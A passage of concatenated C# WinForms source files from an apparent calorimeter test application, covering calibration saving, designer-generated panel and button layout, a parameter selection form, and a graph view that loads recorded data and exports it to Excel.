Resource.Ini.SetInteger("Calibrator", "CalibrationNo", form.RecNo);
Resource.Db.Load(form.RecNo);
DispName();
DoRefreshView(null, null);
}
}
private void saveButton_Click(object sender, EventArgs e)
{
FormCalibratorEdit form = new FormCalibratorEdit();
form.UserID = " " + Resource.Db.UserSet.GetName(Resource.UserNo);
form.DateTime = DateTime.Now.ToString(" yyyy-MM-dd HH:mm:ss");
form.Memo = $"Calibration{form.DateTime.Trim().Substring(0, 10)}";
if (form.ShowDialog() == DialogResult.OK)
{
int recNo = (int)Resource.Db.GetGenNo("GN_CALIBRATOR");
Resource.Db.Save(recNo, Resource.UserNo, DateTime.Now, form.Memo);
Resource.Ini.SetInteger("Calibrator", "CalibrationNo", recNo);
DispName();
}
}
public override void InvalidControl(object sender, EventArgs args)
{
if (Visible == false) return;
List<CalibratorRow> rows = Resource.Server.Devices.Calibrators["All"].Values.ToList();
foreach (CalibratorRow row in rows)
{
row.Raw = Resource.Server.Devices.GetRecorderRawValue(row.No);
row.Real = Resource.Server.Devices.GetRecorderRealValue(row.No);
}
DoRefreshView(null, null);
}
}
}
<file_sep>namespace Hnc.Calorimeter.Server
{
partial class CtrlViewTop
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CtrlViewTop));
this.menuPanel = new Ulee.Controls.UlPanel();
this.valueButton = new DevExpress.XtraEditors.SimpleButton();
this.deviceButton = new DevExpress.XtraEditors.SimpleButton();
this.clientButton = new DevExpress.XtraEditors.SimpleButton();
this.viewPanel = new Ulee.Controls.UlPanel();
this.bgPanel.SuspendLayout();
this.menuPanel.SuspendLayout();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.bgPanel.Controls.Add(this.viewPanel);
this.bgPanel.Controls.Add(this.menuPanel);
this.bgPanel.Size = new System.Drawing.Size(992, 645);
//
// menuPanel
//
this.menuPanel.BackColor = System.Drawing.Color.Silver;
this.menuPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.menuPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.menuPanel.Controls.Add(this.valueButton);
this.menuPanel.Controls.Add(this.deviceButton);
this.menuPanel.Controls.Add(this.clientButton);
this.menuPanel.Dock = System.Windows.Forms.DockStyle.Right;
this.menuPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.menuPanel.InnerColor2 = System.Drawing.Color.White;
this.menuPanel.Location = new System.Drawing.Point(908, 0);
this.menuPanel.Name = "menuPanel";
this.menuPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.menuPanel.OuterColor2 = System.Drawing.Color.White;
this.menuPanel.Size = new System.Drawing.Size(84, 645);
this.menuPanel.Spacing = 0;
this.menuPanel.TabIndex = 0;
this.menuPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.menuPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// valueButton
//
this.valueButton.AllowFocus = false;
this.valueButton.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.valueButton.Appearance.Options.UseBorderColor = true;
this.valueButton.Appearance.Options.UseFont = true;
this.valueButton.Appearance.Options.UseTextOptions = true;
this.valueButton.Appearance.TextOptions.VAlignment = DevExpress.Utils.VertAlignment.Bottom;
this.valueButton.ImageOptions.Image = ((System.Drawing.Image)(resources.GetObject("valueButton.ImageOptions.Image")));
this.valueButton.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.TopCenter;
this.valueButton.Location = new System.Drawing.Point(2, 122);
this.valueButton.Name = "valueButton";
this.valueButton.Size = new System.Drawing.Size(80, 58);
this.valueButton.TabIndex = 8;
this.valueButton.TabStop = false;
this.valueButton.Text = "Value";
//
// deviceButton
//
this.deviceButton.AllowFocus = false;
this.deviceButton.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.deviceButton.Appearance.Options.UseBorderColor = true;
this.deviceButton.Appearance.Options.UseFont = true;
this.deviceButton.Appearance.Options.UseTextOptions = true;
this.deviceButton.Appearance.TextOptions.VAlignment = DevExpress.Utils.VertAlignment.Bottom;
this.deviceButton.ImageOptions.Image = ((System.Drawing.Image)(resources.GetObject("deviceButton.ImageOptions.Image")));
this.deviceButton.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.TopCenter;
this.deviceButton.Location = new System.Drawing.Point(2, 62);
this.deviceButton.Name = "deviceButton";
this.deviceButton.Size = new System.Drawing.Size(80, 58);
this.deviceButton.TabIndex = 7;
this.deviceButton.TabStop = false;
this.deviceButton.Text = "Device";
//
// clientButton
//
this.clientButton.AllowFocus = false;
this.clientButton.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.clientButton.Appearance.Options.UseBorderColor = true;
this.clientButton.Appearance.Options.UseFont = true;
this.clientButton.Appearance.Options.UseTextOptions = true;
this.clientButton.Appearance.TextOptions.VAlignment = DevExpress.Utils.VertAlignment.Bottom;
this.clientButton.ImageOptions.Image = ((System.Drawing.Image)(resources.GetObject("clientButton.ImageOptions.Image")));
this.clientButton.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.TopCenter;
this.clientButton.Location = new System.Drawing.Point(2, 2);
this.clientButton.Name = "clientButton";
this.clientButton.Size = new System.Drawing.Size(80, 58);
this.clientButton.TabIndex = 6;
this.clientButton.TabStop = false;
this.clientButton.Text = "Client";
//
// viewPanel
//
this.viewPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.viewPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.viewPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.viewPanel.InnerColor2 = System.Drawing.Color.White;
this.viewPanel.Location = new System.Drawing.Point(0, 0);
this.viewPanel.Name = "viewPanel";
this.viewPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.viewPanel.OuterColor2 = System.Drawing.Color.White;
this.viewPanel.Size = new System.Drawing.Size(904, 645);
this.viewPanel.Spacing = 0;
this.viewPanel.TabIndex = 1;
this.viewPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.viewPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// CtrlViewTop
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Name = "CtrlViewTop";
this.Size = new System.Drawing.Size(992, 645);
this.Load += new System.EventHandler(this.CtrlViewTop_Load);
this.Enter += new System.EventHandler(this.CtrlViewTop_Enter);
this.bgPanel.ResumeLayout(false);
this.menuPanel.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private Ulee.Controls.UlPanel viewPanel;
private Ulee.Controls.UlPanel menuPanel;
private DevExpress.XtraEditors.SimpleButton deviceButton;
private DevExpress.XtraEditors.SimpleButton clientButton;
private DevExpress.XtraEditors.SimpleButton valueButton;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.XtraGrid.Views.Base;
using DevExpress.XtraGrid.Views.Grid;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class FormOpenAllParam : UlFormEng
{
public FormOpenAllParam()
{
InitializeComponent();
Initialize();
}
public int RecNo { get; private set; }
public GridView ParamGridView { get { return paramGridView; } }
private void Initialize()
{
RecNo = -1;
paramGridView.Appearance.EvenRow.BackColor = Color.FromArgb(244, 244, 236);
paramGridView.OptionsView.EnableAppearanceEvenRow = true;
}
private void FormOpenAllParam_Load(object sender, EventArgs e)
{
Resource.ConfigDB.Lock();
try
{
Resource.ConfigDB.AllParamSet.Select();
paramGrid.DataSource = Resource.ConfigDB.AllParamSet.DataSet.Tables[0];
}
finally
{
Resource.ConfigDB.Unlock();
}
}
private void schDeleteButton_Click(object sender, EventArgs e)
{
if (paramGridView.FocusedRowHandle < 0) return;
if (MessageBox.Show("Would you like to delete a parameter focused?",
Resource.Caption, MessageBoxButtons.YesNo, MessageBoxIcon.Question)
== DialogResult.No)
{
return;
}
Resource.ConfigDB.Lock();
try
{
Resource.ConfigDB.DeleteAllParam(Resource.ConfigDB.AllParamSet.RecNo);
Resource.ConfigDB.AllParamSet.Select();
}
finally
{
Resource.ConfigDB.Unlock();
}
}
private void paramGridView_FocusedRowChanged(object sender, FocusedRowChangedEventArgs e)
{
if (e.FocusedRowHandle < 0)
{
RecNo = -1;
return;
}
DataRow row = paramGridView.GetDataRow(e.FocusedRowHandle);
Resource.ConfigDB.Lock();
try
{
Resource.ConfigDB.AllParamSet.Fetch(row);
RecNo = Resource.ConfigDB.AllParamSet.RecNo;
}
finally
{
Resource.ConfigDB.Unlock();
}
}
private void paramGrid_DoubleClick(object sender, EventArgs e)
{
if (paramGridView.FocusedRowHandle < 0) return;
okButton.PerformClick();
}
private void FormOpenAllParam_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == (char)Keys.Escape)
{
cancelButton.PerformClick();
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.Spreadsheet;
using DevExpress.XtraSpreadsheet;
using Ulee.Chart;
using Ulee.Controls;
using Ulee.DllImport.Win32;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlViewGraph : UlUserControlEng
{
public CtrlViewGraph(int handle)
{
InitializeComponent();
this.handle = handle;
Initialize();
}
private int handle;
private Int64 recNo;
private string fName;
private int scanTime;
private ConditionMethod method;
private CalorimeterViewDatabase db;
private UlDoubleBufferedSeriesCollection bufferedSeries;
private void Initialize()
{
recNo = -1;
db = Resource.ViewDB;
method = new ConditionMethod();
CreateBufferedSeries();
CreateGraph();
}
private void CtrlViewGraph_Enter(object sender, EventArgs e)
{
InvalidateGraphSeries(graphTab.SelectedTab);
}
private void graphTab_SelectedIndexChanged(object sender, EventArgs e)
{
InvalidateGraphSeries(graphTab.SelectedTab);
}
private void InvalidateGraphSeries(TabPage activePage)
{
foreach (TabPage page in graphTab.TabPages)
{
CtrlViewGraphPanel ctrl = page.Controls[0] as CtrlViewGraphPanel;
if (page == activePage)
{
ctrl.ViewGraph.InvalidateSeries();
}
else
{
ctrl.ViewGraph.Series.BeginUpdate();
try
{
ctrl.ViewGraph.ClearSeriesPoint();
}
finally
{
ctrl.ViewGraph.Series.EndUpdate();
}
}
ctrl.ViewGraph.RefreshData();
}
}
private void CreateBufferedSeries()
{
int color = (int)KnownColor.AliceBlue;
bufferedSeries = new UlDoubleBufferedSeriesCollection();
foreach (KeyValuePair<string, ValueRow> row in Resource.Variables.Graph)
{
if (row.Value.Unit.Type == EUnitType.Time) continue;
bufferedSeries.Add(new UlDoubleBufferedSeries(row.Value.Name, Color.FromKnownColor((KnownColor)color)));
if ((KnownColor)color == KnownColor.YellowGreen) color = (int)KnownColor.AliceBlue;
else color++;
}
}
private void CreateGraph()
{
CtrlViewGraphPanel ctrl;
foreach (TabPage page in graphTab.TabPages)
{
int index = int.Parse(page.Tag.ToString());
ctrl = new CtrlViewGraphPanel(index, method, bufferedSeries);
page.Controls.Add(ctrl);
}
graphTab.SelectedIndex = 0;
}
public void Open(Int64 recNo)
{
db.Lock();
try
{
this.recNo = recNo;
bufferedSeries.ClearPoints();
double totalTime = 0;
DataBookDataSet bookSet = db.DataBookSet;
DataRawUnitDataSet rawUnitSet = db.DataRawUnitSet;
DataRawDataSet rawSet = db.DataRawSet;
UnitConvert unit = new UnitConvert(EUnitType.None, 0, 0);
bookSet.Select(recNo);
if (bookSet.IsEmpty() == false)
{
bookSet.Fetch();
scanTime = bookSet.ScanTime;
bufferedSeries.BaseTime = scanTime * 1000;
if (string.IsNullOrWhiteSpace(bookSet.TestName) == true)
fName = $"None_Line{bookSet.TestLine + 1}";
else
fName = $"{bookSet.TestName}_Line{bookSet.TestLine + 1}";
rawUnitSet.Select(bookSet.RecNo);
try
{
for (int i = 0; i < rawUnitSet.GetRowCount(); i++)
{
rawUnitSet.Fetch(i);
unit.Type = (EUnitType)rawUnitSet.UnitType;
unit.From = rawUnitSet.UnitFrom;
unit.To = rawUnitSet.UnitTo;
SetMethodUnit((EUnitType)rawUnitSet.UnitType, rawUnitSet.UnitTo);
SetPlotSeriesUnit(i, (EUnitType)rawUnitSet.UnitType, rawUnitSet.UnitTo);
rawSet.Select(rawUnitSet.RecNo);
for (int j = 0; j < rawSet.GetRowCount(); j++)
{
rawSet.Fetch(j);
if (rawSet.DataRaw == null) break;
if (i == 0)
{
totalTime += (rawSet.DataRaw.Length - 1) * bufferedSeries.BaseTime;
}
ConvertUnit(unit, rawSet.DataRaw);
bufferedSeries[i].Points.AddRange(rawSet.DataRaw);
}
Win32.SwitchToThread();
}
}
finally
{
foreach (TabPage page in graphTab.TabPages)
{
CtrlViewGraphPanel ctrl = page.Controls[0] as CtrlViewGraphPanel;
ctrl.Method = method;
ctrl.RefreshYAxesUnit();
ctrl.SetMaxRangeAxisX(totalTime);
}
InvalidateGraphSeries(graphTab.SelectedTab);
}
}
}
finally
{
db.Unlock();
}
}
private void ConvertUnit(UnitConvert unit, float[] values)
{
for (int i=0; i<values.Length; i++)
{
values[i] = (float)unit.Convert(values[i]);
}
}
public void SaveExcel()
{
SpreadsheetControl spread = new SpreadsheetControl();
Worksheet sheet = spread.Document.Worksheets[0]; ;
string excelName = Resource.Settings.Options.ExcelPath + "\\"
+ fName + "_Raw_" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".xlsx";
FormSaveDataRaw form = new FormSaveDataRaw();
form.SavingProgress.Properties.Maximum = bufferedSeries.PointsCount;
form.SavingProgress.Position = 0;
form.Show();
spread.BeginUpdate();
try
{
for (int i = 0; i < bufferedSeries.Count; i++)
{
sheet[0, i].Value = bufferedSeries[i].Name;
}
for (int i = 0; i < bufferedSeries.PointsCount; i++)
{
for (int j = 0; j < bufferedSeries.Count; j++)
{
sheet[i + 1, j].Value = bufferedSeries[j].Points[i];
if (form.Cancel == true) break;
Application.DoEvents();
Win32.SwitchToThread();
}
form.SavingProgress.Position = i + 1;
}
}
finally
{
spread.EndUpdate();
spread.SaveDocument(excelName);
form.Hide();
}
}
private void SetMethodUnit(EUnitType unitType, int unitTo)
{
switch (unitType)
{
case EUnitType.AirFlow:
method.AirFlow = (EUnitAirFlow)unitTo;
break;
case EUnitType.Capacity:
case EUnitType.EER_COP:
method.CoolingCapacity = (EUnitCapacity)unitTo;
break;
case EUnitType.Enthalpy:
case EUnitType.Heat:
method.Enthalpy = (EUnitEnthalpy)unitTo;
break;
case EUnitType.Temperature:
method.Temperature = (EUnitTemperature)unitTo;
break;
case EUnitType.Pressure:
method.Pressure = (EUnitPressure)unitTo;
break;
case EUnitType.DiffPressure:
method.DiffPressure = (EUnitDiffPressure)unitTo;
break;
case EUnitType.AtmPressure:
method.AtmPressure = (EUnitAtmPressure)unitTo;
break;
}
}
private void SetPlotSeriesUnit(int index, EUnitType unitType, int unitTo)
{
foreach (TabPage page in graphTab.TabPages)
{
(page.Controls[0] as CtrlViewGraphPanel)
.SetPlotSeriesUnit(index, unitType, unitTo);
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlDeviceLeft : UlUserControlEng
{
public CtrlDeviceLeft()
{
InitializeComponent();
Initialize();
}
private void Initialize()
{
DefMenu = new UlMenu(viewPanel);
DefMenu.Add(new CtrlDeviceAll(), allButton);
DefMenu.Add(new CtrlDevicePowerMeter(), powerMeterButton);
DefMenu.Add(new CtrlDeviceRecorder(), recorderButton);
DefMenu.Add(new CtrlDeviceController(), controllerButton);
DefMenu.Add(new CtrlDevicePlc(), plcButton);
}
private void CtrlDeviceTop_Load(object sender, EventArgs e)
{
DefMenu.Index = 0;
}
}
}
<file_sep>namespace Hnc.Calorimeter.Client
{
partial class CtrlConfigCondition
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CtrlConfigCondition));
this.ratedPanel = new Ulee.Controls.UlPanel();
this.ratedTab = new System.Windows.Forms.TabControl();
this.ratedTotalPage = new System.Windows.Forms.TabPage();
this.ratedID1Page = new System.Windows.Forms.TabPage();
this.ratedID2Page = new System.Windows.Forms.TabPage();
this.ratedID3Page = new System.Windows.Forms.TabPage();
this.ratedID4Page = new System.Windows.Forms.TabPage();
this.ratedTitlePanel = new Ulee.Controls.UlPanel();
this.notePanel = new Ulee.Controls.UlPanel();
this.noteSerial1Edit = new DevExpress.XtraEditors.TextEdit();
this.noteModel1Edit = new DevExpress.XtraEditors.TextEdit();
this.noteMakerEdit = new DevExpress.XtraEditors.TextEdit();
this.noteMemoEdit = new DevExpress.XtraEditors.TextEdit();
this.label2 = new System.Windows.Forms.Label();
this.noteObserverEdit = new DevExpress.XtraEditors.TextEdit();
this.noteObserverLabel = new System.Windows.Forms.Label();
this.label21 = new System.Windows.Forms.Label();
this.noteRefChargeEdit = new DevExpress.XtraEditors.TextEdit();
this.label20 = new System.Windows.Forms.Label();
this.label19 = new System.Windows.Forms.Label();
this.noteRefrigerantCombo = new DevExpress.XtraEditors.ComboBoxEdit();
this.noteExpDeviceEdit = new DevExpress.XtraEditors.TextEdit();
this.label18 = new System.Windows.Forms.Label();
this.noteSerial3Edit = new DevExpress.XtraEditors.TextEdit();
this.label16 = new System.Windows.Forms.Label();
this.noteModel3Edit = new DevExpress.XtraEditors.TextEdit();
this.label17 = new System.Windows.Forms.Label();
this.noteSerial2Edit = new DevExpress.XtraEditors.TextEdit();
this.label12 = new System.Windows.Forms.Label();
this.noteModel2Edit = new DevExpress.XtraEditors.TextEdit();
this.label13 = new System.Windows.Forms.Label();
this.label14 = new System.Windows.Forms.Label();
this.label15 = new System.Windows.Forms.Label();
this.label10 = new System.Windows.Forms.Label();
this.noteTestNoEdit = new DevExpress.XtraEditors.TextEdit();
this.label11 = new System.Windows.Forms.Label();
this.noteTestNameEdit = new DevExpress.XtraEditors.TextEdit();
this.label9 = new System.Windows.Forms.Label();
this.noteCompanyEdit = new DevExpress.XtraEditors.TextEdit();
this.label8 = new System.Windows.Forms.Label();
this.noteTitlePanel = new Ulee.Controls.UlPanel();
this.menuPanel = new Ulee.Controls.UlPanel();
this.saveButton = new DevExpress.XtraEditors.SimpleButton();
this.cancelButton = new DevExpress.XtraEditors.SimpleButton();
this.searchPanel = new Ulee.Controls.UlPanel();
this.deleteButton = new System.Windows.Forms.Button();
this.copyButton = new System.Windows.Forms.Button();
this.modifyButton = new System.Windows.Forms.Button();
this.newButton = new System.Windows.Forms.Button();
this.conditionGrid = new DevExpress.XtraGrid.GridControl();
this.conditionGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.cgMakerColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.cgModel1Column = new DevExpress.XtraGrid.Columns.GridColumn();
this.cgSerial1Column = new DevExpress.XtraGrid.Columns.GridColumn();
this.searchButton = new System.Windows.Forms.Button();
this.makerEdit = new DevExpress.XtraEditors.TextEdit();
this.label4 = new System.Windows.Forms.Label();
this.thermoPanel = new Ulee.Controls.UlPanel();
this.thermoTagGrid = new DevExpress.XtraGrid.GridControl();
this.thermoTagGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.thermoTagNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.thermo3Grid = new DevExpress.XtraGrid.GridControl();
this.thermo3GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.thermo3NoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.thermo3NameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.thermo2Grid = new DevExpress.XtraGrid.GridControl();
this.thermo2GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.thermo2NoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.thermo2NameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.thermo1Grid = new DevExpress.XtraGrid.GridControl();
this.thermo1GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.thermo1NoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.thermo1NameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.thermoTitlePanel = new Ulee.Controls.UlPanel();
this.pressurePanel = new Ulee.Controls.UlPanel();
this.pressureGrid = new DevExpress.XtraGrid.GridControl();
this.pressureGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.pressureNoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.pressureNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.pressureTagGrid = new DevExpress.XtraGrid.GridControl();
this.pressureTagGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.pressureTagNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.pressureTitlePanel = new Ulee.Controls.UlPanel();
this.ratedUnitGroup = new System.Windows.Forms.GroupBox();
this.methodCapaHeatingUnitCombo = new System.Windows.Forms.ComboBox();
this.label7 = new System.Windows.Forms.Label();
this.methodCapaCoolingUnitCombo = new System.Windows.Forms.ComboBox();
this.label202 = new System.Windows.Forms.Label();
this.gridBehavior = new DevExpress.Utils.Behaviors.BehaviorManager();
this.thermoTagGridDragDropEvents1 = new DevExpress.Utils.DragDrop.DragDropEvents();
this.thermo3GridDragDropEvents = new DevExpress.Utils.DragDrop.DragDropEvents();
this.thermo2GridDragDropEvents = new DevExpress.Utils.DragDrop.DragDropEvents();
this.thermo1GriddragDropEvents = new DevExpress.Utils.DragDrop.DragDropEvents();
this.pressureGridDragDropEvents = new DevExpress.Utils.DragDrop.DragDropEvents();
this.pressureTagGridDragDropEvents = new DevExpress.Utils.DragDrop.DragDropEvents();
this.bgPanel.SuspendLayout();
this.ratedPanel.SuspendLayout();
this.ratedTab.SuspendLayout();
this.notePanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.noteSerial1Edit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteModel1Edit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteMakerEdit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteMemoEdit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteObserverEdit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteRefChargeEdit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteRefrigerantCombo.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteExpDeviceEdit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteSerial3Edit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteModel3Edit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteSerial2Edit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteModel2Edit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteTestNoEdit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteTestNameEdit.Properties)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.noteCompanyEdit.Properties)).BeginInit();
this.menuPanel.SuspendLayout();
this.searchPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.conditionGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.conditionGridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.makerEdit.Properties)).BeginInit();
this.thermoPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.thermoTagGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.thermoTagGridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.thermo3Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.thermo3GridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.thermo2Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.thermo2GridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.thermo1Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.thermo1GridView)).BeginInit();
this.pressurePanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.pressureGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pressureGridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pressureTagGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pressureTagGridView)).BeginInit();
this.ratedUnitGroup.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.gridBehavior)).BeginInit();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.bgPanel.Controls.Add(this.ratedUnitGroup);
this.bgPanel.Controls.Add(this.thermoPanel);
this.bgPanel.Controls.Add(this.pressurePanel);
this.bgPanel.Controls.Add(this.searchPanel);
this.bgPanel.Controls.Add(this.menuPanel);
this.bgPanel.Controls.Add(this.notePanel);
this.bgPanel.Controls.Add(this.ratedPanel);
this.bgPanel.Size = new System.Drawing.Size(1816, 915);
//
// ratedPanel
//
this.ratedPanel.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ratedPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ratedPanel.Controls.Add(this.ratedTab);
this.ratedPanel.Controls.Add(this.ratedTitlePanel);
this.ratedPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ratedPanel.InnerColor2 = System.Drawing.Color.White;
this.ratedPanel.Location = new System.Drawing.Point(0, 584);
this.ratedPanel.Name = "ratedPanel";
this.ratedPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ratedPanel.OuterColor2 = System.Drawing.Color.White;
this.ratedPanel.Size = new System.Drawing.Size(640, 331);
this.ratedPanel.Spacing = 0;
this.ratedPanel.TabIndex = 4;
this.ratedPanel.TabStop = true;
this.ratedPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ratedPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ratedTab
//
this.ratedTab.Controls.Add(this.ratedTotalPage);
this.ratedTab.Controls.Add(this.ratedID1Page);
this.ratedTab.Controls.Add(this.ratedID2Page);
this.ratedTab.Controls.Add(this.ratedID3Page);
this.ratedTab.Controls.Add(this.ratedID4Page);
this.ratedTab.Location = new System.Drawing.Point(6, 40);
this.ratedTab.Margin = new System.Windows.Forms.Padding(0);
this.ratedTab.Name = "ratedTab";
this.ratedTab.Padding = new System.Drawing.Point(0, 0);
this.ratedTab.SelectedIndex = 0;
this.ratedTab.Size = new System.Drawing.Size(628, 284);
this.ratedTab.TabIndex = 7;
//
// ratedTotalPage
//
this.ratedTotalPage.BackColor = System.Drawing.Color.Transparent;
this.ratedTotalPage.Location = new System.Drawing.Point(4, 24);
this.ratedTotalPage.Margin = new System.Windows.Forms.Padding(0);
this.ratedTotalPage.Name = "ratedTotalPage";
this.ratedTotalPage.Size = new System.Drawing.Size(620, 256);
this.ratedTotalPage.TabIndex = 0;
this.ratedTotalPage.Tag = "0";
this.ratedTotalPage.Text = " Total ";
this.ratedTotalPage.UseVisualStyleBackColor = true;
//
// ratedID1Page
//
this.ratedID1Page.Location = new System.Drawing.Point(4, 24);
this.ratedID1Page.Margin = new System.Windows.Forms.Padding(0);
this.ratedID1Page.Name = "ratedID1Page";
this.ratedID1Page.Size = new System.Drawing.Size(620, 256);
this.ratedID1Page.TabIndex = 1;
this.ratedID1Page.Tag = "1";
this.ratedID1Page.Text = " ID1 #1 ";
this.ratedID1Page.UseVisualStyleBackColor = true;
//
// ratedID2Page
//
this.ratedID2Page.Location = new System.Drawing.Point(4, 24);
this.ratedID2Page.Margin = new System.Windows.Forms.Padding(0);
this.ratedID2Page.Name = "ratedID2Page";
this.ratedID2Page.Size = new System.Drawing.Size(620, 256);
